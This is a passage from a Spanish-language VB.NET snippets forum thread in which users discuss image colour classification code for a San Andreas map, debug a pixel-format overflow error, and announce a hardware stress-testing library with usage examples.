  257. Return New Color(c.r.RoundOff(roundTo), c.g.RoundOff(roundTo), c.b.RoundOff(roundTo), 255)
  258. End Function
  259.  
  260. <System.Runtime.CompilerServices.Extension> _
  261. Public Function RoundOff(ByVal i As Byte, Optional ByVal roundTo As Byte = 5) As Byte
  262. Return CByte(CByte(Math.Ceiling(i / CDbl(roundTo))) * roundTo)
  263. End Function
  264.  
  265. <System.Runtime.CompilerServices.Extension> _
  266. Public Iterator Function ToColor(ByVal bmp As Bitmap) As IEnumerable(Of Color)
  267. Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
  268. Dim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)
  269.  
  270. Dim ptr As IntPtr = bmpData.Scan0
  271.  
  272. Dim bytes As Integer = bmpData.Stride * bmp.Height
  273. Dim rgbValues(bytes - 1) As Byte
  274.  
  275. ' Copy the RGB values into the array.
  276. Marshal.Copy(ptr, rgbValues, 0, bytes)
  277.  
  278. BmpStride = bmpData.Stride
  279.  
  280. For column As Integer = 0 To bmpData.Height - 1
  281. For row As Integer = 0 To bmpData.Width - 1
  282. ' Little endian
  283. Dim b As Byte = CByte(rgbValues((column * BmpStride) + (row * 4)))
  284. Dim g As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 1))
  285. Dim r As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 2))
  286.  
  287. Yield New Color(r, g, b, 255)
  288. Next row
  289. Next column
  290.  
  291. ' Unlock the bits.
  292. bmp.UnlockBits(bmpData)
  293. End Function
  294.  
  295. <System.Runtime.CompilerServices.Extension> _
  296. Public Sub SaveBitmap(ByVal bmp() As Color, ByVal width As Integer, ByVal height As Integer, ByVal path As String)
  297. Dim stride As Integer = BmpStride
  298. Dim rgbValues((BmpStride * height) - 1) As Byte
  299.  
  300. For column As Integer = 0 To height - 1
  301. For row As Integer = 0 To width - 1
  302. Dim i As Integer = Pn(row, column, width)
  303.  
  304. ' Little endian
  305. rgbValues((column * BmpStride) + (row * 4)) = bmp(i).b
  306. rgbValues((column * BmpStride) + (row * 4) + 1) = bmp(i).g
  307. rgbValues((column * BmpStride) + (row * 4) + 2) = bmp(i).r
  308. rgbValues((column * BmpStride) + (row * 4) + 3) = bmp(i).a
  309. Next row
  310. Next column
  311.  
  312. Using image As New Bitmap(width, height, width * 4, PixelFormat.Format32bppArgb, Marshal.UnsafeAddrOfPinnedArrayElement(rgbValues, 0))
  313. image.Save(path)
  314. End Using
  315. End Sub
  316.  
  317. Public Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
  318. Return x + (y * w)
  319. End Function
  320. End Module
  321.  
  322. Public Module Mathf
  323. <System.Runtime.CompilerServices.Extension> _
  324. Public Function Clamp(Of T As IComparable(Of T))(ByVal val As T, ByVal min As T, ByVal max As T) As T
  325. If val.CompareTo(min) < 0 Then
  326. Return min
  327. ElseIf val.CompareTo(max) > 0 Then
  328. Return max
  329. Else
  330. Return val
  331. End If
  332. End Function
  333.  
  334. ' Interpolates between /a/ and /b/ by /t/. /t/ is clamped between 0 and 1.
  335. Public Function Lerp(ByVal a As Single, ByVal b As Single, ByVal t As Single) As Single
  336. Return a + (b - a) * Clamp01(t)
  337. End Function
  338.  
  339. ' Clamps value between 0 and 1 and returns value
  340. Public Function Clamp01(ByVal value As Single) As Single
  341. If value < 0F Then
  342. Return 0F
  343. ElseIf value > 1F Then
  344. Return 1F
  345. Else
  346. Return value
  347. End If
  348. End Function
  349. End Module
  350.  
  351. Namespace zenthion
  352. ''' <summary>
  353. ''' Struct Color
  354. ''' </summary>
  355. ''' <seealso cref="System.ICloneable" />
  356. <Serializable>
  357. Public Structure Color
  358. Implements ICloneable
  359.  
  360. ''' <summary>
  361. ''' Clones this instance.
  362. ''' </summary>
  363. ''' <returns>System.Object.</returns>
  364. Public Function Clone() As Object Implements ICloneable.Clone
  365. Return MemberwiseClone()
  366. End Function
  367.  
  368. ''' <summary>
  369. ''' The r
  370. ''' </summary>
  371. Public r, g, b, a As Byte
  372.  
  373. ''' <summary>
  374. ''' Gets the white.
  375. ''' </summary>
  376. ''' <value>The white.</value>
  377. Public Shared ReadOnly Property white() As Color
  378. Get
  379. Return New Color(255, 255, 255)
  380. End Get
  381. End Property
  382.  
  383. ''' <summary>
  384. ''' Gets the red.
  385. ''' </summary>
  386. ''' <value>The red.</value>
  387. Public Shared ReadOnly Property red() As Color
  388. Get
  389. Return New Color(255, 0, 0)
  390. End Get
  391. End Property
  392.  
  393. ''' <summary>
  394. ''' Gets the green.
  395. ''' </summary>
  396. ''' <value>The green.</value>
  397. Public Shared ReadOnly Property green() As Color
  398. Get
  399. Return New Color(0, 255, 0)
  400. End Get
  401. End Property
  402.  
  403. ''' <summary>
  404. ''' Gets the blue.
  405. ''' </summary>
  406. ''' <value>The blue.</value>
  407. Public Shared ReadOnly Property blue() As Color
  408. Get
  409. Return New Color(0, 0, 255)
  410. End Get
  411. End Property
  412.  
  413. ''' <summary>
  414. ''' Gets the yellow.
  415. ''' </summary>
  416. ''' <value>The yellow.</value>
  417. Public Shared ReadOnly Property yellow() As Color
  418. Get
  419. Return New Color(255, 255, 0)
  420. End Get
  421. End Property
  422.  
  423. ''' <summary>
  424. ''' Gets the gray.
  425. ''' </summary>
  426. ''' <value>The gray.</value>
  427. Public Shared ReadOnly Property gray() As Color
  428. Get
  429. Return New Color(128, 128, 128)
  430. End Get
  431. End Property
  432.  
  433. ''' <summary>
  434. ''' Gets the black.
  435. ''' </summary>
  436. ''' <value>The black.</value>
  437. Public Shared ReadOnly Property black() As Color
  438. Get
  439. Return New Color(0, 0, 0)
  440. End Get
  441. End Property
  442.  
  443. ''' <summary>
  444. ''' Gets the transparent.
  445. ''' </summary>
  446. ''' <value>The transparent.</value>
  447. Public Shared ReadOnly Property transparent() As Color
  448. Get
  449. Return New Color(0, 0, 0, 0)
  450. End Get
  451. End Property
  452.  
  453. ''' <summary>
  454. ''' Initializes a new instance of the <see cref="Color"/> struct.
  455. ''' </summary>
  456. ''' <param name="r">The r.</param>
  457. ''' <param name="g">The g.</param>
  458. ''' <param name="b">The b.</param>
  459. Public Sub New(ByVal r As Byte, ByVal g As Byte, ByVal b As Byte)
  460. Me.r = r
  461. Me.g = g
  462. Me.b = b
  463. a = Byte.MaxValue
  464. End Sub
  465.  
  466. ''' <summary>
  467. ''' Initializes a new instance of the <see cref="Color"/> struct.
  468. ''' </summary>
  469. ''' <param name="r">The r.</param>
  470. ''' <param name="g">The g.</param>
  471. ''' <param name="b">The b.</param>
  472. ''' <param name="a">a.</param>
  473. Public Sub New(ByVal r As Byte, ByVal g As Byte, ByVal b As Byte, ByVal a As Byte)
  474. Me.r = r
  475. Me.g = g
  476. Me.b = b
  477. Me.a = a
  478. End Sub
  479.  
  480. ''' <summary>
  481. ''' Implements the ==.
  482. ''' </summary>
  483. ''' <param name="c1">The c1.</param>
  484. ''' <param name="c2">The c2.</param>
  485. ''' <returns>The result of the operator.</returns>
  486. Public Shared Operator =(ByVal c1 As Color, ByVal c2 As Color) As Boolean
  487. Return c1.r = c2.r AndAlso c1.g = c2.g AndAlso c1.b = c2.b AndAlso c1.a = c2.a
  488. End Operator
  489.  
  490. ''' <summary>
  491. ''' Implements the !=.
  492. ''' </summary>
  493. ''' <param name="c1">The c1.</param>
  494. ''' <param name="c2">The c2.</param>
  495. ''' <returns>The result of the operator.</returns>
  496. Public Shared Operator <>(ByVal c1 As Color, ByVal c2 As Color) As Boolean
  497. Return Not(c1.r = c2.r AndAlso c1.g = c2.g AndAlso c1.b = c2.b AndAlso c1.a = c2.a)
  498. End Operator
  499.  
  500. ''' <summary>
  501. ''' Returns a hash code for this instance.
  502. ''' </summary>
  503. ''' <returns>A hash code for this instance, suitable for use in hashing algorithms and data structures like a hash table.</returns>
  504. Public Overrides Function GetHashCode() As Integer
  505. Return GetHashCode()
  506. End Function
  507.  
  508. ''' <summary>
  509. ''' Determines whether the specified <see cref="System.Object" /> is equal to this instance.
  510. ''' </summary>
  511. ''' <param name="obj">The <see cref="System.Object" /> to compare with this instance.</param>
  512. ''' <returns><c>true</c> if the specified <see cref="System.Object" /> is equal to this instance; otherwise, <c>false</c>.</returns>
  513. Public Overrides Function Equals(ByVal obj As Object) As Boolean
  514. Dim c As Color = DirectCast(obj, Color)
  515. Return r = c.r AndAlso g = c.g AndAlso b = c.b
  516. End Function
  517.  
  518. ''' <summary>
  519. ''' Implements the -.
  520. ''' </summary>
  521. ''' <param name="c1">The c1.</param>
  522. ''' <param name="c2">The c2.</param>
  523. ''' <returns>The result of the operator.</returns>
  524. Public Shared Operator -(ByVal c1 As Color, ByVal c2 As Color) As Color
  525. Return New Color(CByte(Mathf.Clamp(c1.r - c2.r, 0, 255)), CByte(Mathf.Clamp(c2.g - c2.g, 0, 255)), CByte(Mathf.Clamp(c2.b - c2.b, 0, 255)))
  526. End Operator
  527.  
  528. ''' <summary>
  529. ''' Implements the +.
  530. ''' </summary>
  531. ''' <param name="c1">The c1.</param>
  532. ''' <param name="c2">The c2.</param>
  533. ''' <returns>The result of the operator.</returns>
  534. Public Shared Operator +(ByVal c1 As Color, ByVal c2 As Color) As Color
  535. Return New Color(CByte(Mathf.Clamp(c1.r + c2.r, 0, 255)), CByte(Mathf.Clamp(c2.g + c2.g, 0, 255)), CByte(Mathf.Clamp(c2.b + c2.b, 0, 255)))
  536. End Operator
  537.  
  538. ''' <summary>
  539. ''' Lerps the specified c2.
  540. ''' </summary>
  541. ''' <param name="c2">The c2.</param>
  542. ''' <param name="t">The t.</param>
  543. ''' <returns>Color.</returns>
  544. Public Function Lerp(ByVal c2 As Color, ByVal t As Single) As Color
  545. Return New Color(CByte(Mathf.Lerp(r, c2.r, t)), CByte(Mathf.Lerp(g, c2.g, t)), CByte(Mathf.Lerp(b, c2.b, t)))
  546. End Function
  547.  
  548. ''' <summary>
  549. ''' Inverts this instance.
  550. ''' </summary>
  551. ''' <returns>Color.</returns>
  552. Public Function Invert() As Color
  553. Return New Color(CByte(Mathf.Clamp(Byte.MaxValue - r, 0, 255)), CByte(Mathf.Clamp(Byte.MaxValue - g, 0, 255)), CByte(Mathf.Clamp(Byte.MaxValue - b, 0, 255)))
  554. End Function
  555.  
  556. ''' <summary>
  557. ''' Returns a <see cref="System.String" /> that represents this instance.
  558. ''' </summary>
  559. ''' <returns>A <see cref="System.String" /> that represents this instance.</returns>
  560. Public Overrides Function ToString() As String
  561. If Me = white Then
  562. Return "white"
  563. ElseIf Me = transparent Then
  564. Return "transparent"
  565. ElseIf Me = red Then
  566. Return "red"
  567. ElseIf Me = blue Then
  568. Return "blue"
  569. ElseIf Me = black Then
  570. Return "black"
  571. ElseIf Me = green Then
  572. Return "green"
  573. ElseIf Me = yellow Then
  574. Return "yellow"
  575. Else
  576. Return String.Format("({0}, {1}, {2}, {3})", r, g, b, a)
  577. End If
  578. End Function
  579.  
  580. ''' <summary>
  581. ''' Fills the specified x.
  582. ''' </summary>
  583. ''' <param name="x">The x.</param>
  584. ''' <param name="y">The y.</param>
  585. ''' <returns>Color[].</returns>
  586. Public Shared Iterator Function Fill(ByVal x As Integer, ByVal y As Integer) As IEnumerable(Of Color)
  587. For i As Integer = 0 To (x * y) - 1
  588. Yield black
  589. Next i
  590. End Function
  591. End Structure
  592. End Namespace

Nota: A pesar de haber sido convertido con un conversor se ha comprobado en: https://dotnetfiddle.net/1vbkgG
Nota2: La idea era que se ejecutase de forma online y si le poneis una imagen más pequeña deberia sacar los pixeles, pero como digo no se puede, por tema de web clouds y recursos compartidos.
Nota3: Le he metido esta imagen (https://vignette.wikia.nocookie.net/gta-myths/images/8/80/Gtasa-blank.png/revision/latest?cb=20161204212845) pero me da un error que ahora mismo no me puedo parar a comprobar:

Citar
Run-time exception (line -1): Arithmetic operation resulted in an overflow.

Stack Trace:

[System.OverflowException: Arithmetic operation resulted in an overflow.]
   at F.ColorThreshold(Color c1, Color c2)
   at F._Closure$__3._Lambda$__15(Color x)
   at System.Linq.EnumerableSorter`2.ComputeKeys(TElement[] elements, Int32 count)
   at System.Linq.EnumerableSorter`1.Sort(TElement[] elements, Int32 count)
   at System.Linq.OrderedEnumerable`1.<GetEnumerator>d__1.MoveNext()
   at System.Linq.Enumerable.FirstOrDefault[TSource](IEnumerable`1 source)
   at F.GetSimilarColor(Color c1, IEnumerable`1 cs)
   at Program.GetColorCount(Bitmap& image, Byte[] arr, IEnumerable`1 colors, IEnumerable`1& imageColors, Boolean isPosterized)
   at Program.Main()

Y creo que eso es todo.

Un saludo.

PD: La razón de que el código esté mitad comentado y mitad sin comentar es porque la parte de la clase Color es una implementación propia de la clase Color que hice hace tiempo y la introducí en mi Lerp2API.
PD2: Este código (el del ColorThreshold y lo de GetSimilarity, todo lo demás lo he escrito esta mañana y tarde) realmente lo estaba usando en mi proyecto de San Andreas Unity (de los últimos commits que hice antes de irme de este y empezar uno nuevo a solas).
PD3: Todo esto es parte de un proceso de depuración un tanto largo que me ha servido para constrastar de donde me venían unos valores. Para ser más concretos, tengo un algoritmo que saca los contornos de los edificios que he estado optimizando (el cual empecé en 2016, y después de un año he retomado), y bueno, yo esperaba que me devolviese unos 2600 edificios, pero se me han devuelto unos 1027k  y hay unos 1029k pixeles en la última imagen que he puesto (lo podéis comprobar vosotros mismos), así que ya se por donde seguir. Espero que vosotros también hagáis lo mismo con lo que escribo. ;) :P


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Serapis en 19 Octubre 2018, 03:32 am
mmm... no estoy seguro de haberte entendido, del todo... luego copio el código y mañana trato de ejecutarlo y ya veré... pero de entrada me parece que intentas contar colores?. o intentas contar áreas que tienen un color (esto último luego de abrir el fichero 'texture-Color.png".


Así que ateniéndome solo a tus comentarios.
Con el algoritmo counting-sort, puedes tener la cantidad de colores únicos que contienen una imagen... necesitas un array de 17Mb.
Después puedes clasificarlos. Si solo aparecen por ejemplo 1millón de colores distintos, solo tienes que reclasificar 1 millons (hacer tu comparación de similaridad, en vez de hacerlo con toda los 7.000x5.000 = 35millones)... counting sort, es el algoritmo más rápido de ordenamiento para números enteros, además tampoco es exactamente dicho algorimo, sino una simplificación pués nos basta saber la existencia de cada único elemento (sin duplicados)

Así que si precisas una clasificación basada en el parecido, es más práctico (que lo que has hecho) aplicar una función que derive los colores que tu dés por sentado que pertenecen a una categoría al color que representa esa categoría... (quiero decir, es más práctico si no te basta con saber qué colores aparecen, si no que además debas hacer algo con ellos después en la imagen). Así al final toda la imagen tendría solo tantos colores como categorías tengas. Por supuesto debe quedar claro previamente que pasa con los colores que pudieran correponder por igual a más de una categoría (el gris puede llevarse a la categoría de negro, lo mismo que a la del blanco, pués equidista de ambos). Es decir, un color no debe estar en mas de una categoría...

Aquí las funciones que harían todo lo antedicho...
Código:
// la función recibe el array de píxeles (4bytes por píxel) y devuelve la cantidad de únicos por referencia y el array de colores únicos. 
// es una simplificación de counting-sort (ya que no requerimos ordenarlos, sólo conocer los únicos).
array entero = funcion GetColoresUnicos(in array entero pixeles(), out entero Cantidad)
    array de entero ColoresUnicos(0 a 1677725) //255 para señalar que existe y 0 para no.
    entero k

    bucle para k desde 0 hasta pixeles.length -1
          ColoresUnicos(pixeles(k)) = 255 // por si se quiere hace rpasar por bleao en alguna operación posterior.
    siguiente 
   
    devolver ColoresUnicos 
fin funcion
Listo ya tienes un array donde el índice es el propio color del píxel, y si el valor contenido es 1, dicho color (el valor del índice) existe en la imagen, si vale 0, no.
por ejemplo sea: ColoresUnicos(10145634) que vale 255, ese color (el 10145634, en Hex:9ACF62), existe en la imagen.

Ahora clasificas estos colores únicos según tu criterio de similaridad... y será enormemente más rápido que todo ese código que tienes...
Veamos por ejemplo que tienes 25 categorías... asignas un color a ellos... y pongamos que descansan en un array ColCategorias(0 a 24)
Código:
// Ahora el array de colores únicos se truncará para que cada color existente (valor 255), 
//    pase a tener el color de la categoría a la que pertenece
funcion ReclasificarColores(in-out array entero colUnicos() )
    entero k, byte x

    bucle para k desde 0 hasta 16777215
        Si colUnicos(k) > 0)  // es decir si existe en la imagen
            // esta función debe devolver un valor en el rango 0-24, que es el índice de un color de la categoría...           
            x = Similaridad(colUnicos(k))
            colUnicos(k) = colCategoria(x)
            // o bien devolver directamente el color y se asigna entonces a
            // colUnicos(k) = Similaridad(colUnicos(k))
        fin si
     fin bucle
fin funcion


Ahora que ya están todos los colores (únicos) existentes en la imagen, modificado al color de cuya categoría es reepresentativo.... solo resta aplicarlo a la imagen (si fuera el caso)...
Código:
// Cambia cada color d ela imagen, por el que corresponde a su categoría.
funcion SegmentarImagenEnColores(in array entero pixeles(), in array entero colUnicos() )
    entero k

    bucle para k desde 0 hasta pixeles.lenght -1
        pixeles(k) = colUnicos(pixeles(k))
    siguiente
fin funcion


Y fin... vuelves a depositar el array de píxeles en la imagen (si no interceptaste directamente su puntero en memoria), y refrescas la imagen. Ya la tienes segmentada en tus 25 colores (de ejemplo).
Aparte de las 3 funciones dadas en pseudocódigo, te falta solo incorporar la función de similaridad, la cual dependerá de ciertos parámetros, que deenden de lo que uno aya a hacer... y que queda a tu esfuerzo, aunque creo haber visto que en el código pudieras tenerla ya implementada.
Y queda evidentemente la parte del código que carga la imagen y toma su array de píxeles y al final la devuelve (y si procede la guarda a disco)...

aquí lo que sería la función general...
Código:
funcion SegemtarImagenEnCategorias(string Ruta)
   entero cantidadColUnicos
   array entero pixeles()
   array entero colUnicos()
   array entero colCategoria()
   bitmap Imagen

   imagen = ReadImagen(ruta)
   pixeles = GetPixeles(Imagen))
   cantidadColUnicos = GetColoresUnicos(pixeles, colUnicos)
   imprimir cantidadColUnicos // solo por cuirosidad, aunque puede usarse para determinar cuando terminar en un bucle
   // se supone que estos colores ya está definidos de antemano, pueden tomarse desde
   //    fichero, desde recursos, insertos en el código como constantes, etc...
   colCategoria= RadFromFile(Ruta)
   ReclasificarColores(colUnicos)
   SegmentarImagenEnColores(pixeles, colUnicos)
   SetPixeles(Imagen, pixeles)
   WriteImagen(ruta, imagen)
fin funcion

<hr>
Otra opción es simplemente aplicar funciones de segmentación, por ejemplo una convolución con un kernel como el siguiente (-1,1,-1, 1,0,1, -1,1,-1) genera la imagen que pongo justo bajo estas líneas...
(https://i.imgur.com/SMF6OME.jpg)

O una función de 'relieve' donde realza el contraste cuando encuentra un cambio brusco de luminancia, y apaga-diluye el resto... la siguiente imagen corresponde a ese caso.
(https://i.imgur.com/c8HBPNH.jpg)

Ambas partiendo de la siguiente imagen (se hecha en falta spoilers en el foro). Claro que al hablar de edificios, pensaba que eran en 3 dimensiones, vamos como una ciudad, sin embargo, luego de ver la imagen png, veo que es más una imágen aérea de edificios, lo que sin duda arrojaría un mejor resultado que una en 3d, como esta de la que he partido...
(https://i.imgur.com/p8tmjuA.jpg)



Mañana con más tiempo le hecho un ojo al código...


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: z3nth10n en 19 Octubre 2018, 08:50 am
Te cuento de forma rápida lo que pretendo.

En el mapa hay x cantidad de colores predefinidos, tantos como enumeraciones tengas.

En este caso: Building, Asphalt, LightPavement, Pavement, Grass, DryGrass, Sand, Dirt, Mud, Water, Rails, Tunnel, BadCodingDark, BadCodingLight, BuildingLight, son 15.

Lo que pasa con esa imagen es hay micro variaciones de color. Quizás hay 100 tonos distintos de Grass con variaciones de pares en la escala RGB (es decir, nunca te vas a encontrar tonos que tengan un (0, 241, 0, 255), para el caso de un verde), y quizás con un rango total de ±10. Es decir, 5 posibilidades entre los 3 componentes: 5^3=125 tonos de verde.

Estos tonos son inperceptibles al ojo humano. Quizás se hizo por algun motivo (ya le metere saturación para ver si sigue algún patrón o algo. Estos de Rockstar te meten easter eggs hasta en los mapas).

Entonces lo que hago primero es iterar todos los colores. Mientras itero, voy comparando pixel a pixel, con los colores definidos en el diccionario, pero no los comparo literalmente (==), si no que saco un porcentaje de similitud. Y estás microvariaciones, como digo, como máximo su diferencia puede ser de ±10.

El porcentaje (con el mayor offset posible) sera en este caso: (255, 255, 255, 255) --> (245, 245, 245, 255) = 0.9609375 = 96,1% (un 3,9% de diferencia), vamos bien, ya que yo comparo con hasta un 10%, es decir una variación de ±25, es decir 25/2=12,5^3=1953 posibilidades, imagina.

Teniendo ese porcentaje, pues ya al debugear lo unico que hago es agrupar todos los colores (antes lo que hacia era posterizarlos, pero no me moló la idea, por eso hay un método de posterización) y sumar sus respectivas agrupaciones, pasamos de +1600 colores a unos 15 o menos (algunos no los detecta bien, otros directamente, no están presentes).

Un saludo.


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 22 Noviembre 2018, 19:54 pm
Nota3: Le he metido esta imagen (https://vignette.wikia.nocookie.net/gta-myths/images/8/80/Gtasa-blank.png/revision/latest?cb=20161204212845) pero me da un error que ahora mismo no me puedo parar a comprobar:

Si tu mismo te das cuenta de que el propósito principal del código que tienes está incompleto, puesto que NO funciona correctamente con según que imágenes (más abajo te explico el fallo), ¿entonces por que lo compartes?. Algo incompleto o no del todo funcional sencillamente no sirve para reutilizarlo, es que no sirve.



Citar
Código
  1. <System.Runtime.CompilerServices.Extension> _
  2. Public Iterator Function ToColor(ByVal bmp As Bitmap) As IEnumerable(Of Color)
  3. Dim rect As New Rectangle(0, 0, bmp.Width, bmp.Height)
  4. Dim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)
  5.  
  6. Dim ptr As IntPtr = bmpData.Scan0
  7.  
  8. Dim bytes As Integer = bmpData.Stride * bmp.Height
  9. Dim rgbValues(bytes - 1) As Byte
  10.  
  11. ' Copy the RGB values into the array.
  12. Marshal.Copy(ptr, rgbValues, 0, bytes)
  13.  
  14. BmpStride = bmpData.Stride
  15.  
  16. For column As Integer = 0 To bmpData.Height - 1
  17. For row As Integer = 0 To bmpData.Width - 1
  18. ' Little endian
  19. Dim b As Byte = CByte(rgbValues((column * BmpStride) + (row * 4)))
  20. Dim g As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 1))
  21. Dim r As Byte = CByte(rgbValues((column * BmpStride) + (row * 4) + 2))
  22.  
  23. Yield New Color(r, g, b, 255)
  24. Next row
  25. Next column
  26.  
  27. ' Unlock the bits.
  28. bmp.UnlockBits(bmpData)
  29. End Function
  30.  
  31. <System.Runtime.CompilerServices.Extension> _
  32. Public Sub SaveBitmap(ByVal bmp() As Color, ByVal width As Integer, ByVal height As Integer, ByVal path As String)
  33. Dim stride As Integer = BmpStride
  34. Dim rgbValues((BmpStride * height) - 1) As Byte
  35.  
  36. For column As Integer = 0 To height - 1
  37. For row As Integer = 0 To width - 1
  38. Dim i As Integer = Pn(row, column, width)
  39.  
  40. ' Little endian
  41. rgbValues((column * BmpStride) + (row * 4)) = bmp(i).b
  42. rgbValues((column * BmpStride) + (row * 4) + 1) = bmp(i).g
  43. rgbValues((column * BmpStride) + (row * 4) + 2) = bmp(i).r
  44. rgbValues((column * BmpStride) + (row * 4) + 3) = bmp(i).a
  45. Next row
  46. Next column
  47.  
  48. Using image As New Bitmap(width, height, width * 4, PixelFormat.Format32bppArgb, Marshal.UnsafeAddrOfPinnedArrayElement(rgbValues, 0))
  49. image.Save(path)
  50. End Using
  51. End Sub
  52.  
  53. Public Function Pn(ByVal x As Integer, ByVal y As Integer, ByVal w As Integer) As Integer
  54. Return x + (y * w)
  55. End Function
  56. End Module
  57.  

Primero de todo quiero comentar que eso no deberían ser extensiones de método puesto que estás usando objetos que no están declarados dentro del bloque de la extensión de método (BmpStride y rgbValues). No es código reutilizable tal y como está ahora mismo.

Bueno, vayamos al grano. Es lógico que el algoritmo te tire errores con la imagen del hipervínculo que has mencionado, puesto que tu algoritmo está hardcodeado para parsear imágenes de 32 BPP (4 bytes por pixel) en ese búcle que haces ahí, sin embargo, tu estás intentando tratar imágenes con otro formato de píxeles, 24 BPP en este caso (3 bytes por pixel), por lo tanto tu búcle generará una excepción del tipo IndexOutOfRangeException.

El error principal lo cometes aquí, al pasarle el argumento bmp.PixelFormat, el cual puede ser cualquier formato de píxeles dependiendo de la imagen original...
Citar
Código
  1. Dim bmpData As BitmapData = bmp.LockBits(rect, System.Drawing.Imaging.ImageLockMode.ReadWrite, bmp.PixelFormat)

En su lugar, debes convertir la imagen a 32 BPP simplemente pasándole el argumento PixelFormat.Format32bppArgb a la función LockBits:
Código
  1. Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb)

...o en su defecto, adaptar tu búcle para todos los tipos de formato de píxeles posibles.



Te muestro un ejemplo:

Código
  1. Public Iterator Function GetColors(ByVal bmp As Bitmap) As IEnumerable(Of Color)
  2.  
  3.    ' Lock the bitmap bits.
  4.    Dim pixelFormat As PixelFormat = PixelFormat.Format32bppArgb
  5.    Dim bytesPerPixel As Integer = 4 ' PixelFormat.Format32bppArgb
  6.    Dim rect As New Rectangle(Point.Empty, bmp.Size)
  7.    Dim bmpData As BitmapData = bmp.LockBits(rect, ImageLockMode.ReadOnly, pixelFormat)
  8.  
  9.    ' Get the address of the first row.
  10.    Dim address As IntPtr = bmpData.Scan0
  11.  
  12.    ' Hold the raw bytes of the bitmap.
  13.    Dim numBytes As Integer = (Math.Abs(bmpData.Stride) * rect.Height)
  14.    Dim rawImageData As Byte() = New Byte(numBytes - 1) {}
  15.    Marshal.Copy(address, rawImageData, 0, numBytes)
  16.  
  17.    ' Unlock the bitmap bits.
  18.    bmp.UnlockBits(bmpData)
  19.  
  20.    ' Iterate the pixels.
  21.    For i As Integer = 0 To (rawImageData.Length - bytesPerPixel) Step bytesPerPixel
  22.  
  23.        Yield Color.FromArgb(alpha:=rawImageData(i + 3),
  24.                             red:=rawImageData(i + 2),
  25.                             green:=rawImageData(i + 1),
  26.                             blue:=rawImageData(i))
  27.  
  28.    Next i
  29.  
  30. End Function

En el otro método "SaveBitmap" deberías aplicar el mismo principio, ya que también asumes que es una imagen de 32 BPP.

Saludos


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Eleкtro en 19 Febrero 2019, 15:55 pm
HardwareStress

( click en la imagen para descargar la librería o el código fuente )
(https://i.imgur.com/708adIW.jpg) (https://github.com/ElektroStudios/HardwareStress)

HardwareStress es una biblioteca .NET que proporciona un mecanismo para estresar los recursos de hardware, como la CPU, disco o memoria RAM.

Como cualquier otro software enfocado para estresar  los recursos de hardware, usted debe usarlo bajo su propio riesgo. No me responsabilizo de un error de hardware.



Donaciones

Cualquier código dentro del espacio de nombres "DevCase" se distribuye libremente como parte del código fuente comercial de "DevCase for .NET Framework".

Tal vez te gustaría considerar comprar este conjunto de bibliotecas para apoyarme. Puede hacer un montón de cosas con mis bibliotecas para una gran cantidad de temáticas diversas, no solo relacionadas con hardware, etc.

Aquí hay un enlace a la página de compra:
  • https://codecanyon.net/item/elektrokit-class-library-for-net/19260282

Muchas gracias.



Uso

El uso es muy simple, hay 3 clases: CpuStress, DiskStress y MemoryStress que proporciona un método Allocate() para comenzar a estresar los recursos, y un método Deallocate() para detenerlo.



Ejemplos de uso

CPU Stress
Código
  1. Using cpuStress As New CpuStress()
  2.    Dim percentage As Single = 20.5F 20.50%
  3.  
  4.    Console.WriteLine("Allocating CPU usage percentage...")
  5.    cpuStress.Allocate(percentage)
  6.    Thread.Sleep(TimeSpan.FromSeconds(5))
  7.    Console.WriteLine("Instance CPU average usage percentage: {0:F2}%", cpuStress.InstanceCpuPercentage)
  8.    Console.WriteLine("Process  CPU average usage percentage: {0:F2}%", cpuStress.ProcessCpuPercentage)
  9.    Console.WriteLine()
  10.  
  11.    Console.WriteLine("Deallocating CPU usage percentage...")
  12.    cpuStress.Deallocate()
  13.    Thread.Sleep(TimeSpan.FromSeconds(5))
  14.    Console.WriteLine("Instance CPU average usage percentage: {0:F2}%", cpuStress.InstanceCpuPercentage)
  15.    Console.WriteLine("Process  CPU average usage percentage: {0:F2}%", cpuStress.ProcessCpuPercentage)
  16. End Using
(https://raw.githubusercontent.com/ElektroStudios/HardwareStress/master/Preview/CpuStress-Example.png)

Disk Stress
Código
  1. Using diskStress As New DiskStress()
  2.    Console.WriteLine("Allocating disk I/O read and write operations...")
  3.    diskStress.Allocate(fileSize:=1048576) 1 MB
  4.  
  5.    Thread.Sleep(TimeSpan.FromSeconds(10))
  6.  
  7.    Console.WriteLine("Stopping disk I/O read and write operations...")
  8.    diskStress.Deallocate()
  9.  
  10.    Console.WriteLine()
  11.    Console.WriteLine("Instance disk I/O read operations count: {0} (total of files read)", diskStress.InstanceReadCount)
  12.    Console.WriteLine("Process  disk I/O read operations count: {0}", diskStress.ProcessReadCount)
  13.    Console.WriteLine()
  14.    Console.WriteLine("Instance disk I/O read data (in bytes): {0} ({1:F2} GB)", diskStress.InstanceReadBytes, (diskStress.InstanceReadBytes / 1024.0F ^ 3))
  15.    Console.WriteLine("Process  disk I/O read data (in bytes): {0} ({1:F2} GB)", diskStress.ProcessReadBytes, (diskStress.ProcessReadBytes / 1024.0F ^ 3))
  16.    Console.WriteLine()
  17.    Console.WriteLine("Instance disk I/O write operations count: {0} (total of files written)", diskStress.InstanceWriteCount)
  18.    Console.WriteLine("Process  disk I/O write operations count: {0}", diskStress.ProcessWriteCount)
  19.    Console.WriteLine()
  20.    Console.WriteLine("Instance disk I/O written data (in bytes): {0} ({1:F2} GB)", diskStress.InstanceWriteBytes, (diskStress.InstanceWriteBytes / 1024.0F ^ 3))
